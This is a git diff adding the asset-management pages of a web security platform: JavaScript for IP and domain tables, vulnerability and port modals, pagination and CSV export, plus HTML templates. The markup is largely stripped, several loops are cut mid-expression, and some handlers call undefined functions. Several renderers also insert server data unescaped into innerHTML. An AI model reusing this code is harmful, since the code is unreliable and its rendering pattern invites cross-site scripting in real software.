构造表头 CSV + const headerCells = Array.from(thead.children).map(th => fmtCell(th.textContent.trim())); + const headerLine = headerCells.join(','); + + // 2. 构造表体 CSV + const bodyLines = Array.from(tbody).map(tr => { + const cells = Array.from(tr.children).map(td => fmtCell(td.textContent.trim())); + return cells.join(','); + }); + + // 3. 拼接,加 BOM + const csvContent = '\uFEFF' + [headerLine, ...bodyLines].join('\r\n'); + + // 4. 发起下载 + downloadCSV(csvContent, `history_ports_${portModalEl.dataset.ip}.csv`); + + } + + function downloadCSV(text, filename) { + const blob = new Blob([text], { type: 'text/csv;charset=utf-8;' }); + const link = document.createElement('a'); + link.href = URL.createObjectURL(blob); + link.download = filename; + link.click(); + URL.revokeObjectURL(link.href); + } + +//***********漏洞数据************** +const vulModalEl = document.getElementById('vulDataModal'); +const nodeNameEl = document.getElementById("vulNodeName"); +const vulTypeEl = document.getElementById("vulType"); +const vulLevelEl = document.getElementById("vulLevel"); + +const vulModal = new bootstrap.Modal(vulModalEl); +let allVuls = []; +let currentVulPage = 1; +async function showVulData(IP){ + vulModalEl.dataset.ip = IP; + nodeNameEl.value = ""; + vulTypeEl.value = ""; + vulLevelEl.value = ""; + vulModal.show(); +} +vulModalEl.addEventListener('show.bs.modal',async ev =>{ + searchVulnerabilities(); +}); + +async function searchVulnerabilities(page = 1) { + const ip = vulModalEl.dataset.ip; + if (!ip) return; + const nodeName = nodeNameEl.value.trim(); + const vulType = vulTypeEl.value.trim(); + const vulLevel = vulLevelEl.value; + //拉取该IP最新完成检测的漏洞数据 + try{ + const vuldata = await postJSON('/api/assets/getvuldata', {ip,nodeName,vulType,vulLevel}); + allVuls = vuldata.vuls || []; + console.log("拉取漏洞数据") + } catch (error) { + console.error("拉取漏洞数据失败!",error) + } + renderVulPage(1); +} + +function renderVulPage(page) { + currentVulPage = page; + const start = (page - 1) * pageSize; + const end = start + pageSize; + const pageData = allVuls.slice(start, end); + + const tbody = document.querySelector("#vulTable tbody"); + renderTableRows(tbody, pageData); + document.getElementById("vulTable").scrollIntoView({ behavior: "smooth" }); + + // 更新分页按钮 + document.getElementById("vulPrev").dataset.page = page > 1 ? page - 1 : 1; + document.getElementById("vulNext").dataset.page = (end < allVuls.length) ? page + 1 : page; +} + +//使用该函数,需要数据的顺序与表格列的数据一致 +function renderTableRows(tbody, rowsData) { + tbody.innerHTML = ""; + // 遍历数据行,生成 + rowsData.forEach((row, index) => { + const tr = document.createElement("tr"); + // 这里假设 row 为对象,包含各个字段;下标从1开始显示序号 + for (const cellData of Object.values(row)) { + const td = document.createElement("td"); + td.textContent = cellData; + tr.appendChild(td); + } + tbody.appendChild(tr); + }); + // 补足空行 + const rowCount = rowsData.length; + for (let i = rowCount; i < pageSize; i++) { + const tr = document.createElement("tr"); + for (let j = 0; j < tbody.parentElement.querySelectorAll("th").length; j++) { + const td = document.createElement("td"); + td.innerHTML = " "; + tr.appendChild(td); + } + tbody.appendChild(tr); + } +} + +//导出漏洞数据 +async function ExportVuls(){ + // Check if in secure context + if (!window.isSecureContext) { + console.error("Page is not in a secure context. Please load the page over HTTPS."); + alert("无法导出文件:请使用 HTTPS 访问页面。"); + return; + } + + // 如果 dataArr 为空,返回提示 + if (!allVuls || allVuls.length === 0) { + alert("没有数据可导出"); + return; + } + + // 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码 + let csv = "\uFEFF" + "序号,节点路径,漏洞类型,漏洞级别,漏洞说明\n"; // 添加 BOM 防乱码 + allVuls.forEach((item, i) => { + csv += + [ + escapeCsvField(item[0] || ""), + escapeCsvField(item[1] || ""), + escapeCsvField(item[2] || ""), + escapeCsvField(item[3] || ""), + escapeCsvField(item[4] || ""), + ].join(",") + "\n"; + }); + const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" }); + const url = URL.createObjectURL(blob); + const link = document.createElement("a"); + link.href = url; + link.download = "漏洞数据.csv"; + link.click(); + URL.revokeObjectURL(url); +} + +// 绑定漏洞数据查询按钮事件 +document.getElementById("vulSearchBtn").addEventListener("click", () => { + searchVulnerabilities(); +}); +//导出按钮 +document.getElementById("vulExportBtn").addEventListener("click",()=>ExportVuls()); +// 绑定漏洞数据分页点击事件 +document.getElementById("vulPrev").addEventListener("click", (e) => { + const page = parseInt(e.target.dataset.page, 10); + renderVulPage(page); +}); +document.getElementById("vulNext").addEventListener("click", (e) => { + const page = parseInt(e.target.dataset.page, 10); + renderVulPage(page); +}); + +//***********关联域名************** + let latestUrls = [], historyUrls = []; + let urllatestPage = 1, urlhistoryPage = 1; + const urlModalEl = document.getElementById('urlDataModal'); + const urlModal = new bootstrap.Modal(urlModalEl); + + // table bodies & pagination + const latestTbody = document.querySelector('#latestUrlTable tbody'); + const latestPrev = document.getElementById('latestUrlPrev'); + const latestNext = document.getElementById('latestUrlNext'); + + const historyTbody = document.querySelector('#historyUrlTable tbody'); + const historyPrev = document.getElementById('historyUrlPrev'); + const historyNext = document.getElementById('historyUrlNext'); + + // 打开 Modal 时加载 + urlModalEl.addEventListener('show.bs.modal', async ev => { + const ip = urlModalEl.dataset.ip; + if (!ip) return; + + //拉 最新关联 + try{ + const latestJson = await postJSON('/api/assets/geturllatest', {ip}); + latestUrls = latestJson.ip_url_data || []; + } catch (error) { + console.error("拉取最新关联的url数据失败!",error) + } + + urllatestPage = 1; + urlrenderLatest(); + + //拉 历史关联 + try{ + const hisJson = await postJSON('/api/assets/geturlhistory', {ip}); + historyUrls = hisJson.ip_url_data || []; + } catch (error) { + console.error("拉取历史的关联URL数据失败!",error) + } + urlhistoryPage = 1; + urlrenderHistory(); + }); + + function urlrenderLatest() { + latestTbody.innerHTML = ''; + const start = (urllatestPage - 1) * pageSize; + const slice = latestUrls.slice(start, start + pageSize); + slice.forEach((it, idx) => { + const tr = document.createElement('tr'); + tr.innerHTML = ` + ${start+idx+1} + ${it[0]} + ${it[1]} + ${it[2]} + ${it[3]} + ${it[4]} + ${it[5]} + `; + latestTbody.appendChild(tr); + }); + // 空行 + for (let i=slice.length; i1?urllatestPage-1:1; + latestNext.dataset.page = latestUrls.length>urllatestPage*pageSize?urllatestPage+1:urllatestPage; + } + + function urlrenderHistory() { + historyTbody.innerHTML = ''; + const start = (urlhistoryPage - 1) * pageSize; + const slice = historyUrls.slice(start, start + pageSize); + slice.forEach((it, idx) => { + const tr = document.createElement('tr'); + tr.innerHTML = ` + ${start+idx+1} + ${it[2]} + ${it[0]} + ${it[1]} + `; + historyTbody.appendChild(tr); + }); + for (let i=slice.length; i1?urlhistoryPage-1:1; + historyNext.dataset.page = historyUrls.length>urlhistoryPage*pageSize?urlhistoryPage+1:urlhistoryPage; + } + + // 分页绑定 + latestPrev.addEventListener('click',e=>{e.preventDefault(); urllatestPage=+e.target.dataset.page; renderLatest();}); + latestNext.addEventListener('click',e=>{e.preventDefault(); urllatestPage=+e.target.dataset.page; renderLatest();}); + historyPrev.addEventListener('click',e=>{e.preventDefault(); urlhistoryPage=+e.target.dataset.page; renderHistory();}); + historyNext.addEventListener('click',e=>{e.preventDefault(); urlhistoryPage=+e.target.dataset.page; renderHistory();}); + + // 打开函数 + window.showRelatedDomain = function(ip) { + urlModalEl.dataset.ip = ip; + urlModal.show(); + }; + + // 导出(示例 CSV,仅最新/历史当前页) + document.getElementById('exportUrlData').onclick = () => { + const active = document.querySelector('#urlTabContent .tab-pane.active').id; + if (active==='urlLatestPane') { + let rows=[['序号','域名','子域名','注册人','注册邮箱','创建时间','过期时间']]; + latestUrls.forEach((it,i)=>{ + rows.push([i+1,it[0],it[1],it[2],it[3],it[4],it[5]]); + }); + urldownloadCSV(rows,'最新关联域名.csv'); + } else { + let rows=[['序号','时间','变化类型','关联域名']]; + historyUrls.forEach((it,i)=>{ + rows.push([i+1,it[2],it[0],it[1]]); + }); + urldownloadCSV(rows,'历史关联域名.csv'); + } + }; + + function urldownloadCSV(arr, fname) { + const bom='\uFEFF'; + const csv = arr.map(r => r.map(v=>`"${v}"`).join(',')).join('\r\n'); + + const blob = new Blob([bom+csv], {type:'text/csv;charset=utf-8;'}); + const a = document.createElement('a'); + a.href=URL.createObjectURL(blob); + a.download=fname; a.click(); + URL.revokeObjectURL(a.href); + } + +//***********删除************** +async function confirmDeleteIp(IP) { + if (!confirm('确认删除?')) return; + try{ + const redata = await postJSON('/api/assets/delipassets', {IP}); + bsuccess = redata.bsuccess; + error = redata.error; + if(bsuccess){ + alert("删除IP资产成功!"); + loadIpAssets(); //刷新数据 --重新拉取数据后刷新,可以考虑本地数据修改后刷新页面。 + } + else{ + alert("删除IP资产失败!",error) + } + } catch (error) { + console.error("删除IP资产失败!",error); + } +} + +//---------------------------URL-Assets Tab---------------------------- +const urlInfoModalEl = document.getElementById("urlBasicInfoModal") +const urlInfoModal = new bootstrap.Modal(urlInfoModalEl); +let urlAssets = [],currentUrlPage = 1 + +async function loadUrlAssets(page=1) { + const url_filter = document.getElementById("urlFilter").value.trim(); + const user_filter = document.getElementById("ownerFilter").value.trim(); + const email_filter = document.getElementById("emailFilter").value; + try { + const data = await postJSON("/api/assets/geturlassets",{url_filter,user_filter,email_filter}) + urlAssets = data.url_assets || []; + renderUrlTable(page); //刷新表格 + } catch (error) { + console.error("查询记录出错:", error); + alert("查询失败!"); + } +} + +//刷新Url-assets表格 +function renderUrlTable(page) { + currentUrlPage = page; //查询数据了,从第一页显示 + const start = (currentUrlPage-1)*pageSize; + const slice = urlAssets.slice(start, start+pageSize); + const tbody = document.querySelector('#urlTable tbody'); + tbody.innerHTML = ''; + for (let i=0; i${start+i+1} + ${item[1]} + ${item[2]} + ${item[3]} + ${item[4]} + ${item[5]} + ${item[6]} + + + + + + `; + tbody.appendChild(tr); + } + // 补足空行 + for (let i=slice.length; i1?currentUrlPage-1:1; + document.getElementById('urlNext').dataset.page = urlAssets.length>currentUrlPage*pageSize?currentUrlPage+1:currentUrlPage; +} + +//导出域名信息 +async function exportUrlAssets(){ + // 构造 CSV 文本 + let rows = [ + ['序号', '域名', '所属用户', '注册邮箱', '最新检测时间','过期日期','IP'].map(fmtCell).join(',') + ]; + urlAssets.forEach((row, i) => { + rows.push([ + (i + 1).toString(), + row[1].toString(), + row[2] || '', + row[3] || '', + row[4] || '', + row[5] || '', + row[6] || '', + ].map(fmtCell).join(',')); + }); + + const csv = '\uFEFF' + rows.join('\r\n'); // 加 BOM + + downloadCSV(csv, `url_assets.csv`); +} + +// 分页按钮 +document.getElementById('urlPrev').addEventListener('click', e => { e.preventDefault(); renderUrlTable(+e.target.dataset.page); }); +document.getElementById('urlNext').addEventListener('click', e => { e.preventDefault(); renderUrlTable(+e.target.dataset.page); }); +// 查询 +document.getElementById('urlSearchBtn').addEventListener('click', () => loadUrlAssets(1)); +//导出 +document.getElementById("urlExportBtn").addEventListener('click',() => exportUrlAssets()) + +//***********URL基本信息modal************** +const urlEl = document.getElementById("info_url"); +const timeEl = document.getElementById("url_scanTime"); +const registrantEl = document.getElementById("url_register"); +const emailEl = document.getElementById("url_email"); +const ownerEl = document.getElementById("url_owner"); +const contactEl = document.getElementById("urlcontactName"); +const tellEl = document.getElementById("urlcontactPhone"); +const btnChose = document.getElementById("urlbtnChooseOwner"); +const btnDelO = document.getElementById("urlbtnDelOwner"); +const btnSaveurl = document.getElementById("saveUrlInfo"); +let cur_url_id = 0; +//url.ID,url.URL,au.uname,url.emails,url.update_time,url.expiration_date,ip.ip_count,url.Registrant,au.tellnum,au.tell_username +async function urlBasicInfo(index){ + const url_info = urlAssets[index]; + cur_url_id = url_info[0]; + urlEl.textContent = url_info[1]; + timeEl.textContent = url_info[4]; + registrantEl.textContent = url_info[7]; + emailEl.textContent = url_info[3]; + ownerEl.textContent = url_info[2]; + contactEl.textContent = url_info[9]; + tellEl.textContent = url_info[8]; + selectedOwnerId = url_info[10]; + urlInfoModal.show(); +} + +btnChose.addEventListener("click",()=>{ //和IP共用一个模态框 + curModal = "url" + ownerDrawer.show(); + loadOwners(ownerSearchEl.value.trim()); +}); + +btnDelO.addEventListener("click",()=>{ + selectedOwnerId = null; + ownerEl.textContent = ''; + contactEl.textContent = ''; + tellEl.textContent = ''; +}); + +btnSaveurl.addEventListener("click",async ()=>saveUrlInfo()); + +async function saveUrlInfo(){ + const payload = { + cur_url_id: cur_url_id, + owner_id: selectedOwnerId + }; + try { + const ret = await postJSON('/api/assets/updateurlinfo', payload); + bsuccess = ret.bsuccess; + if (bsuccess) { + showToast('修改成功', 'success'); + loadUrlAssets(currentIpPage); //刷新整个数据。。--要改成局部刷新或本地刷新 + } else { + showToast(ret.message || '修改失败', 'danger'); + } + } catch (e) { + showToast(`提交失败:${e.message}`, 'danger'); + } +} + +//***********指向IPmodal************** +const urlIPModalEl = document.getElementById("toIpModal"); +const urlIPModal = new bootstrap.Modal(urlIPModalEl); +let last_to_ips = [],his_to_ips=[]; +let last_to_ips_page = 1, his_to_ip_page = 1; +const latestUTPTableBody = document.querySelector('#latesttoipTable tbody'); +const latestUTPPrevBtn = document.getElementById('latesttoipPrev'); +const latestUTPNextBtn = document.getElementById('latesttoipNext'); +const historyutpTableBody = document.querySelector('#historytoipTable tbody'); +const hisPortUTPPrevBtn = document.getElementById('historytoipPrev'); +const hisPortUTPNextBtn = document.getElementById('historytoipNext'); + +const exportUTPDataBtn = document.getElementById("exporttoipData"); +exportUTPDataBtn.addEventListener('click',()=>exportUTPdata()); + +async function urlIPData(cur_url_id){ + //获取数据 + const payload ={cur_url_id}; + try { + const ret = await postJSON('/api/assets/geturltoIP', payload); + last_to_ips = ret.last_to_ips; + his_to_ips = ret.his_to_ips; + renderUTPlast(); + renderUTPhis(); + urlIPModal.show(); + } catch (e) { + showToast(`获取指向IP数据失败:${e.message}`, 'danger'); + } +} + +function renderUTPlast(){ + latestUTPTableBody.innerHTML = ''; + const start = (last_to_ips_page - 1) * pageSize; + const slice = last_to_ips.slice(start, start + pageSize); + slice.forEach((it, idx) => { + const tr = document.createElement('tr'); + tr.innerHTML = ` + ${start+idx+1} + ${it[0]} + ${it[1]} + `; + latestUTPTableBody.appendChild(tr); + }); + // 空行 + for (let i=slice.length; i1?last_to_ips_page-1:1; + latestUTPNextBtn.dataset.page = last_to_ips.length>last_to_ips_page*pageSize?last_to_ips_page+1:last_to_ips_page; +} + +function renderUTPhis(){ + historyutpTableBody.innerHTML = ''; + const start = (his_to_ip_page - 1) * pageSize; + const slice = his_to_ips.slice(start, start + pageSize); + slice.forEach((it, idx) => { + const tr = document.createElement('tr'); + tr.innerHTML = ` + ${start+idx+1} + ${it[0]} + ${it[1]} + `; + historyutpTableBody.appendChild(tr); + }); + // 空行 + for (let i=slice.length; i1?his_to_ip_page-1:1; + hisPortUTPNextBtn.dataset.page = his_to_ips.length>his_to_ip_page*pageSize?his_to_ip_page+1:his_to_ip_page; +} + +// 分页绑定 +latestUTPPrevBtn.addEventListener('click',e=>{e.preventDefault(); last_to_ips_page=+e.target.dataset.page; renderLatest();}); +latestUTPNextBtn.addEventListener('click',e=>{e.preventDefault(); last_to_ips_page=+e.target.dataset.page; renderLatest();}); +hisPortUTPPrevBtn.addEventListener('click',e=>{e.preventDefault(); his_to_ip_page=+e.target.dataset.page; renderHistory();}); +hisPortUTPNextBtn.addEventListener('click',e=>{e.preventDefault(); his_to_ip_page=+e.target.dataset.page; renderHistory();}); + +//导出指向IP的数据 +async function exportUTPdata(){ + // 构造 CSV 文本 + const active = document.querySelector('#toipTabContent .tab-pane.active').id; + if (active==='toipLatestPane') { + let rows=[['序号','IP地址','关联时间']]; + last_to_ips.forEach((it,i)=>{ + rows.push([i+1,it[0],it[1]]); + }); + urldownloadCSV(rows,'当前指向IP的数据.csv'); + } else { + let rows=[['序号','IP地址','取关时间']]; + his_to_ips.forEach((it,i)=>{ + rows.push([i+1,it[0],it[1]]); + }); + urldownloadCSV(rows,'历史指向IP的数据.csv'); + } +} + + +//***********删除URL************** +async function confirmDeleteUrl(url,index){ + if (!confirm('确认删除?')) return; + try{ + const redata = await postJSON('/api/assets/delurlassets', {url}); + bsuccess = redata.bsuccess; + error = redata.error; + if(bsuccess){ + alert("删除域名资产成功!"); + //loadUrlAssets(); //刷新数据 + + //只更新本地数据 + urlAssets.splice(index,1); + renderUrlTable(currentUrlPage);//刷新页面 --不重新请求数据了 + } + else{ + alert("删除域名资产失败!",error); + } + } catch (error) { + console.error("删除域名资产失败!",error); + } +} + diff --git a/web/main/static/resources/scripts/task_manager.js b/web/main/static/resources/scripts/task_manager.js index a0adff9..9e04185 100644 --- a/web/main/static/resources/scripts/task_manager.js +++ b/web/main/static/resources/scripts/task_manager.js @@ -9,7 +9,7 @@ window.addEventListener("beforeunload", function() { ws.close(); ws =null; } - task_list = [] + task_list = []; cur_task = null; cur_task_id = 0; }); diff --git a/web/main/templates/assets_manager.html b/web/main/templates/assets_manager.html index 5e77f6b..fe420c4 100644 --- a/web/main/templates/assets_manager.html +++ b/web/main/templates/assets_manager.html @@ -4,13 +4,604 @@ {% block style %} +/* 表格固定行高与居中 */ +.table-fixed tbody tr { height: 40px; } +.table-fixed td, .table-fixed th { vertical-align: middle; text-align: center; } +/* 操作按钮间距 */ +.asset-op-btn { margin: 0 2px; } + +.offcanvas { + z-index: 1060 !important; +} + +#historyPortTable { + table-layout: fixed; + width: 100%; /* 或者你想要的整体宽度 */ +} +#historyPortTable th { + /* 你在 JS 动态插入 style="width:120px" */ +} +#historyPortTable td { + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; +} + {% endblock %} {% block content %} -

功能规划中,在二期实现。。。

+
+ +
+ +
+ +
+
+
+
+ +
+
+ + +
+
+ +
+ + + + + + + + + + + + + + + + +
序号资产IP所属用户风险最新检测时间端口关联域名操作
+
+ + +
+ +
+ +
+
+
+
+
+ + +
+
+ +
+ + + + + + + + + + + + + + + + +
序号域名所属用户注册邮箱最新检测时间过期日期IP操作
+
+ + +
+
+
+ + + + + +
+
+
选择所属用户
+ +
+
+
+ + +
+ + + + + + +
序号用户名操作
+
+
+ + + + + + + + + + + + + + + + + {% endblock %} {% block script %} + + {% endblock %} \ No newline at end of file diff --git a/web/main/templates/assets_manager_modal.html b/web/main/templates/assets_manager_modal.html new file mode 100644 index 0000000..566549b --- /dev/null +++ b/web/main/templates/assets_manager_modal.html @@ -0,0 +1,10 @@ + + + + + Title + + + + + \ No newline at end of file diff --git a/web/main/templates/assets_user_manager.html b/web/main/templates/assets_user_manager.html new file mode 100644 index 0000000..5f856c0 --- /dev/null +++ b/web/main/templates/assets_user_manager.html @@ -0,0 +1,331 @@ +{% extends 'base.html' %} + +{% block title %}ZFSAFE{% endblock %} + + +{% block style %} +/* 查询条件区域:使用 row 分布,输入框占满所在列 */ + .search-section .form-control, + .search-section .form-select { + width: 100%; + } + /* 查询条件区域,每个条件统一高度且左右间隔均等 */ + .search-section .col { + padding: 0 5px; + } + + /* 表格样式:统一垂直居中 */ + .table thead th, .table tbody td { + vertical-align: middle; + text-align: center; + } + + /* 分页区域右对齐 */ + .pagination-section { + text-align: right; + padding-right: 15px; + } + + /* 固定行高,比如 45px,每页 10 行 */ + .fixed-row-height { + height: 45px; + overflow: hidden; + } +{% endblock %} + + +{% block content %} +
+ +
+
+
+
+
+ +
+
+
+
+ + +
+
+ +
+ + + + + + + + + + + + + + + +
序号资产用户用户类型联系人联系电话关联资产操作
+
+ + + +
+ + + +{% endblock %} + + +{% block script %} + +{% endblock %} \ No newline at end of file diff --git a/web/main/templates/header.html b/web/main/templates/header.html index 577c2c2..5b78a5b 100644 --- a/web/main/templates/header.html +++ b/web/main/templates/header.html @@ -12,10 +12,12 @@ + + + -